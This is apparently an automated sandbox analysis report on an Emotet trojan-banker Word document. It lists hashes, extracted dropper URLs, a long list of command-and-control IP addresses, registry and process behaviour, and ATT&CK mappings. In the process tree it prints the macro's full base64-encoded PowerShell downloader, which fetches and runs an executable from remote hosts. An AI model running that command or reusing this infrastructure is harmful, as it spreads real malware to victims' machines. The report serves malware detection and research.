emotet | 40b7deac6d26adafefde81e0a1e2e15bc1be3d6d380655b51c5500af6bee2012

General

Target
emotet_e1_40b7deac6d26adafefde81e0a1e2e15bc1be3d6d380655b51c5500af6bee2012_2020-08-21__090915._doc.doc
Size 176KB
Sample200821-ft45ks7gts
SHA256 40b7deac6d26adafefde81e0a1e2e15bc1be3d6d380655b51c5500af6bee2012
MD5 3c49abc072ecdf801d8ad3ce66a9e2a4
SHA1 48854bd06ff2ce4a90117249d5b385cc5b0ca6a4
SHA512 7d7ac3cda78441cf6d5a43d07e88301fca29375953c17f7d58b8ed7ec06e28749ba0b0bff8fa9e6519e0f4bc86641f532013b8d047be2f8b6c76bcd30d55df02
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://exam.panalearning.com/pana/e/
exe.dropper
http://www.interibericos.com/data/S/
exe.dropper
http://www.mcsgroup.co/multifunctional_resource/J/
exe.dropper
http://pcantivirusnumber.com/wp-includes/N7/
exe.dropper
http://bluetechprism.com/css/o/
exe.dropper
http://familiachickenargentina.com/cgi-bin/0/
exe.dropper
http://todaymailbox.com/cgi-bin/QrR/

Extracted

Family

emotet

C2

65.36.62.20:80
209.126.6.222:8080
5.153.250.14:8080
204.225.249.100:7080
77.90.136.129:8080
185.94.252.27:443
85.105.140.135:443
83.169.21.32:7080
190.190.148.27:8080
185.94.252.12:80
116.125.120.88:443
190.115.18.139:8080
61.92.159.208:8080
24.148.98.177:80
212.93.117.170:80
91.219.169.180:80
73.116.193.136:80
87.106.46.107:8080
187.162.248.237:80
70.32.115.157:8080
188.135.15.49:80
149.62.173.247:8080
190.6.193.152:8080
81.129.198.57:80
190.128.173.10:80
172.104.169.32:8080
68.183.190.199:8080
89.32.150.160:8080
95.9.180.128:80
178.79.163.131:8080
213.60.96.117:80
94.206.45.18:80
217.199.160.224:7080
73.213.208.163:80
143.0.87.101:80
104.131.103.37:8080
5.196.35.138:7080
202.4.57.96:80
77.55.211.77:8080
188.2.217.94:80
51.255.165.160:8080
46.28.111.142:7080
111.67.12.221:8080
177.73.0.98:443
94.176.234.118:443
45.33.77.42:8080
177.74.228.34:80
192.241.143.52:8080
181.129.96.162:8080
190.163.31.26:80
58.171.153.81:80
174.100.27.229:80
190.147.137.153:443
82.163.245.38:80
45.161.242.102:80
91.222.77.105:80
137.74.106.111:7080
209.236.123.42:8080
177.72.13.80:80
70.32.84.74:8080
191.182.6.118:80
212.71.237.140:8080
82.76.111.249:443
189.2.177.210:443
219.92.13.25:80
51.159.23.217:443
24.135.198.218:80
186.103.141.250:443
178.250.54.208:8080
95.85.151.205:80
192.241.146.84:8080
213.176.36.147:8080
50.28.51.143:8080
185.33.0.233:80
114.109.179.60:80
67.247.242.247:80
104.131.41.185:8080
80.249.176.206:80
190.195.129.227:8090
191.99.160.58:80
45.173.88.33:80
2.47.112.152:80
186.70.127.199:8090
207.144.103.227:80
72.47.248.48:7080
82.196.15.205:8080
24.135.1.177:80
201.171.150.41:443
152.169.22.67:80
170.81.48.2:80
68.183.170.114:8080
217.13.106.14:8080
186.250.52.226:8080
12.162.84.2:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2476	420	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2616-15-0x00000000005C0000-0x00000000005CC000-memory.dmp	emotet
behavioral2/memory/2616-15-0x00000000005C0000-0x00000000005CC000-memory.dmp	emotet
behavioral2/memory/3740-18-0x00000000004A0000-0x00000000004AC000-memory.dmp	emotet
behavioral2/memory/3740-18-0x00000000004A0000-0x00000000004AC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
17	2476	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2616	Svwgqk.exe
3740	Windows.Internal.Bluetooth.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\KBDTUQ\Windows.Internal.Bluetooth.exe	Svwgqk.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3816	WINWORD.EXE
3816	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2476	powersheLL.exe
2476	powersheLL.exe
2476	powersheLL.exe
3740	Windows.Internal.Bluetooth.exe
3740	Windows.Internal.Bluetooth.exe
3740	Windows.Internal.Bluetooth.exe
3740	Windows.Internal.Bluetooth.exe
3740	Windows.Internal.Bluetooth.exe
3740	Windows.Internal.Bluetooth.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2476	powersheLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE
3816	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2476 wrote to memory of 2616	2476	powersheLL.exe	77
PID 2476 wrote to memory of 2616	2476	powersheLL.exe	77
PID 2476 wrote to memory of 2616	2476	powersheLL.exe	77
PID 2616 wrote to memory of 3740	2616	Svwgqk.exe	78
PID 2616 wrote to memory of 3740	2616	Svwgqk.exe	78
PID 2616 wrote to memory of 3740	2616	Svwgqk.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_40b7deac6d26adafefde81e0a1e2e15bc1be3d6d380655b51c5500af6bee2012_2020-08-21__090915._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3816

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABGAHYAdQBfAHMAcAAyAD0AKAAnAEEAOQBpAGMAMQBuACcAKwAnADgAJwApADsAJgAoACcAbgBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQARQBOAFYAOgB0AEUAbQBQAFwATwBmAGYASQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBjAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAFUAUgBpAGAAVABgAHkAUAByAG8AYABUAGAATwBjAG8ATAAiACAAPQAgACgAJwB0AGwAcwAxADIAJwArACcALAAgACcAKwAnAHQAJwArACcAbABzADEAJwArACcAMQAsACAAdAAnACsAJwBsAHMAJwApADsAJABHAGMAcwB6ADgAMAA2ACAAPQAgACgAJwBTAHYAdwBnAHEAJwArACcAawAnACkAOwAkAEgAYwBlAGMAdgB4ADEAPQAoACcATQBxADQAOAAnACsAJwA4ADAAcgAnACkAOwAkAEEAZgBlAGoAOQAxADYAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAHsAJwArACcAMAB9AE8AJwArACcAZgBmAGkAYwBlACcAKwAnADIAJwArACcAMAAxADkAJwArACcAewAwAH0AJwApAC0AZgAgAFsAYwBIAGEAcgBdADkAMgApACsAJABHAGMAcwB6ADgAMAA2ACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABQAHAAZwBqAGEAcwA0AD0AKAAnAFgAJwArACcAZgBqAF8AbQBuACcAKwAnAHkAJwApADsAJABUAGcAbQB3AG0AdgB0AD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABuAGUAdAAuAFcAZQBCAGMAbABpAGUAbgB0ADsAJABBADkAcgBsAHgAZQBvAD0AKAAnAGgAdAB0AHAAOgAvACcAKwAnAC8AZQB4AGEAbQAuAHAAYQBuACcAKwAnAGEAbABlAGEAJwArACcAcgBuAGkAJwArACcAbgBnAC4AYwBvAG0ALwBwAGEAbgBhACcAKwAnAC8AZQAvACoAJwArACcAaAAnACsAJwB0ACcAKwAnAHQAcAA6AC8ALwB3AHcAdwAnACsAJwAuAGkAbgB0AGUAJwArACcAcgBpAGIAZQByAGkAYwBvACcAKwAnAHMALgBjAG8AbQAnACsAJwAvAGQAJwArACcAYQB0AGEAJwArACcALwAnACsAJwBTAC8AKgAnACsAJwBoAHQAdABwADoALwAvAHcAdwB3AC4AJwArACcAbQAnACsAJwBjAHMAJwArACcAZwByAG8AJwArACcAdQBwAC4AYwBvACcAKwAnAC8AbQB1AGwAJwArACcAdABpAGYAJwArACcAdQBuAGMAdABpAG8AbgAnACsAJwBhAGwAXwByACcAKwAnAGUAcwBvAHUAcgBjAGUALwBKAC8AKgBoAHQAdABwADoALwAvAHAAYwBhAG4AdABpAHYAaQByAHUAcwBuAHUAbQAnACsAJwBiAGUAcgAuAGMAbwBtAC8AdwBwACcAKwAnAC0AaQBuAGMAbAB1AGQAZQBzAC8ATgA3AC8AKgBoAHQAdABwADoALwAvAGIAbAB1AGUAJwArACcAdAAnACsAJwBlAGMAaABwAHIAaQBzAG0ALgAnACsAJwBjAG8AbQAnACsAJwAvACcAKwAnAGMAcwBzAC8AJwArACcAbwAvACoAJwArACcAaAB0AHQAcAA6AC8AJwArACcALwBmAGEAbQBpAGwAaQBhAGMAaABpAGMAawAnACsAJwBlAG4AJwArACcAYQByAGcAJwArACcAZQBuAHQAaQBuAGEALgBjAG8AbQAvACcAKwAnAGMAZwBpAC0AYgBpAG4AJwArACcALwAnACsAJwAwAC8AKgBoAHQAdABwADoALwAvACcAKwAnAHQAJwArACcAbwBkAGEAeQBtACcAKwAnAGEAaQBsAGIAbwB4AC4AYwBvAG0ALwAnACsAJwBjAGcAJwArACcAaQAnACsAJwAtAGIAaQBuAC8AJwArACcAUQByAFIALwAnACkALgAiAHMAYABwAEwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAWQB6AGoAOQBvAG4AZwA9ACgAJwBJACcAKwAnAF8AMQB3ADkAcQAnACsAJwBfACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE0AbABsAGUAcwBzAHEAIABpAG4AIAAkAEEAOQByAGwAeABlAG8AKQB7AHQAcgB5AHsAJABUAGcAbQB3AG0AdgB0AC4AIgBEAG8AYAB3AG4ATABvAGAAQQBkAGAARgBpAEwARQAiACgAJABNAGwAbABlAHMAcwBxACwAIAAkAEEAZgBlAGoAOQAxADYAKQA7ACQARwBsAGEAMwBqAGEANwA9ACgAJwBHACcAKwAnAHIAJwArACcAZgBwAG4AMQB3ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACAAJABBAGYAZQBqADkAMQA2ACkALgAiAEwARQBOAGAAZwBgAFQAaAAiACAALQBnAGUAIAAyADIAMwA4ADcAKQAgAHsALgAoACcASQBuAHYAJwArACcAbwBrAGUALQBJACcAKwAnAHQAZQBtACcAKQAoACQAQQBmAGUAagA5ADEANgApADsAJABTADAAaQB6AHUANwBoAD0AKAAnAFcAJwArACcAOQBhADQAJwArACcAaAAxAHEAJwApADsAYgByAGUAYQBrADsAJABaADEAYgBuADcANQA5AD0AKAAnAE0AeQA4ACcAKwAnAGgAJwArACcAMwAwAHYAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABQADUAaQByADMAdgB6AD0AKAAnAFUAdAAnACsAJwBvAGQAJwArACcANgBfAGMAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2476
- C:\Users\Admin\AppData\Local\Temp\Office2019\Svwgqk.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Svwgqk.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:2616
- - C:\Windows\SysWOW64\KBDTUQ\Windows.Internal.Bluetooth.exe
    "C:\Windows\SysWOW64\KBDTUQ\Windows.Internal.Bluetooth.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3740

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2476-9-0x00007FF99C550000-0x00007FF99CF3C000-memory.dmp

Download

memory/2476-10-0x000001B394250000-0x000001B394251000-memory.dmp

Download

memory/2476-11-0x000001B3AC520000-0x000001B3AC521000-memory.dmp

Download

memory/2616-15-0x00000000005C0000-0x00000000005CC000-memory.dmp

Download

memory/3740-18-0x00000000004A0000-0x00000000004AC000-memory.dmp

Download

memory/3816-0-0x00007FF9A4270000-0x00007FF9A4936000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads